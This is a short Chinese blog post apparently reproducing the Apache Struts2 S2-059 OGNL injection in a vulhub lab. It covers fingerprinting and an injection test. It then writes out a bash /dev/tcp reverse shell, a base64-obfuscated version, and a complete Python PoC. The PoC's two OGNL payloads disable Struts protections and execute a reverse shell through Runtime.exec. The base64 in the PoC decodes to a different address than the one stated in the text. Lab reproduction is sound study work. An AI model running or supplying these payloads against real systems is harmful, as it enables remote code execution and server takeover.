struts2 s2-059漏洞复现
简述漏洞成因
Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{xxx}并且xxx的值用户可以控制,就会造成OGNL表达式执行。OGNL是一个功能强大的表达式语言,用来获取和设置 java 对象的属性。可以用简洁的语法来完成对 java 对象的导航,可以用于列表映射和选择。
漏洞识别(转自https://blog.csdn.net/qq_27446553/article/details/73639456)
1.通过页面回显的错误消息来判断,页面不回显错误消息时则无效。
2.通过网页后缀来判断,如.do .action,有可能不准。
3.判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。
其中第一个利用方法直接在url/后面加?actionErrors=1111,如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于
页面出现404,500,直接回显1111或者出现其他业务相关错误信息。内容结构发生明显改变,页面重定向。
环境搭建
去github找vulhub,然后wget,unzip,docker-compose build ,docker-compose up -d 一把梭。
漏洞利用
先尝试上面的识别方法,url后面加actionErrors=1111果然页面出现404。

然后执行?id=%25{2*2},发现源代码中的式子已经被执行。

说明对这个标签值进行了二次解析,存在漏洞,然后常规手段执行命令反弹shell。在自己的机器上面起一个监听,然后反弹过来。bash -i>& /dev/tcp/192.168.18.145/8888 0>&1 , 上面payload进行加密后放入这里面bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLzE5Mi4xNjguMTguMTQ1Lzg4ODggMD4mMQ}|{base64,-d}|{bash,-i} ,然后再加入python写的poc脚本,
import requests
url = "http://192.168.239.129:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
然后执行python文件 python s2-059.py 然后ok结束。

好像有struts2的综合的利用工具,等找找。

浙公网安备 33010602011771号